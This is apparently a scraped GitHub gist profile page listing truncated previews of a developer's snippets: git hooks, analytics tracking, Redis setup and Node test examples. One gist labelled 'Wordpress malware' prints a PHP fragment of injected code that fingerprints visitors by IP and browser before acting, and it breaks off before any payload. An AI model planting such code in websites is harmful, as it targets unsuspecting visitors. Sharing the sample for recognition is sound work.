Skip to content

Instantly share code, notes, and snippets.

writing status

Jonas Arnklint arnklint

writing status
View GitHub Profile
View SketchSystems.spec
settings -> Set Habit
Set Habit
save -> Save Habit
Save Habit
success -> Have You Performed Habit
failure -> Set Habit
Have You Performed Habit
yes -> Mark Today
Mark Today
View gist:de31807e6370945d4420756869531ceb
window.intercomSettings = {
app_id: "ra2agqf0"
<script>(function(){var w=window;var ic=w.Intercom;if(typeof ic==="function"){ic('reattach_activator');ic('update',intercomSettings);}else{var d=document;var i=function(){i.c(arguments)};i.q=[];i.c=function(args){i.q.push(args)};w.Intercom=i;function l(){var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='';var x=d.getElementsByTagName('script')[0];x.parentNode.insertBefore(s,x);}if(w.attachEvent){w.attachEvent('onload',l);}else{w.addEventListener('load',l,false);}}})()</script>
arnklint / prepare-commit-msg
Created Oct 16, 2015 — forked from aalin/prepare-commit-msg
Git hook for adding issue numbers to commits
View prepare-commit-msg
#!/usr/bin/env ruby
filename = ARGV[0]
branch_name = `git rev-parse --abbrev-ref HEAD`
issue = branch_name[/^[A-Z]+-\d+/]
if issue
contents =
File.write(filename, "#{ issue }:\n#{ contents }")
arnklint / ga-ratio.js
Created Feb 26, 2013 — forked from andrewrocco/ga-ratio.js
Track pixel ratio (*retina* or not) with Google Analytics in an easy way.
View ga-ratio.js
// Create the test
var pixelRatio = (window.devicePixelRatio >= 1.5) ? "high" : "normal";
// Pass it along through GA
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-xxxxxxxx-x']);
// params: event method, custom variable slot, variable name, variable value, scope level
arnklint / gist:4280762
Created Dec 13, 2012
Installing Redis on ubuntu
View gist:4280762
# I needed to install tcl8.5 to run the tests: sudo apt-get install tcl8.5
# download and unpack the sources (see for the latest stable version)
tar -zxvf redis-2.4.5.tar.gz
# build
cd redis-2.4.5/
arnklint /
Last active Dec 18, 2017
Track Form Abandonment in Google Analytics in five rows of javascript

Put this code on the page where the form you want to track resides. Some other examples are currently passed around the web with varying quality. This is one that will work as long as your form tag has an id= or name attribute.

You don´t have to change this code to be able to track form abandonment in your shopping cart, order form or whatever form you want.

This sends events to Google Analytics when a user focuses somewhere not in a field after having focused on a input field. You won´t know for how long users focused on respective fields, or the actual conversion rate in the form using this, but it might be a start.

A tool that provides more insight both over time and per field, is Form Analytics wich helps you optimize your online forms. For instance, it measures dropout rate, average field input length, conversion rate and average time per field. All which provides great insights in the most overlooked, yet important part of you site.

Anyway, here´s the code:

arnklint /
Created Dec 6, 2012
How to track form abandonment with RevRise Form Analytics

Simple and brief introduction to new customers of RevRise Form Analytics

Start tracking form abandonment

1. Copy paste the code

Copy paste the following code to the bottom of all the pages on the site(s) you want to track. Place it just before </body>.

2. Define your web forms

You need to define the forms that you want to measure with the attribute data-rr-name="form-name".

arnklint /
Created Dec 4, 2012 — forked from dangerbell/
Example code for Node Testing with Mocha, SuperTest, and Nock
express = require 'express'
app = express();
# Configure
# Routes
module.exports = app
arnklint / gist:3104923
Created Jul 13, 2012
Wordpress malware
View gist:3104923
$ip=$_SERVER["REMOTE_ADDR"];$dr=$_SERVER["DOCUMENT_ROOT"];$ua = $_SERVER['HTTP_USER_AGENT'];$dbf=$dr.'/'.md5($dr);
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){
View package.json
"name": "best-practices",
"description": "A package using versioning best-practices",
"author": "Jonas Arnklint <>",
"dependencies": {
"colors": "0.x.x",
"express": "2.3.x",
"optimist": "0.2.x"
"devDependencies": {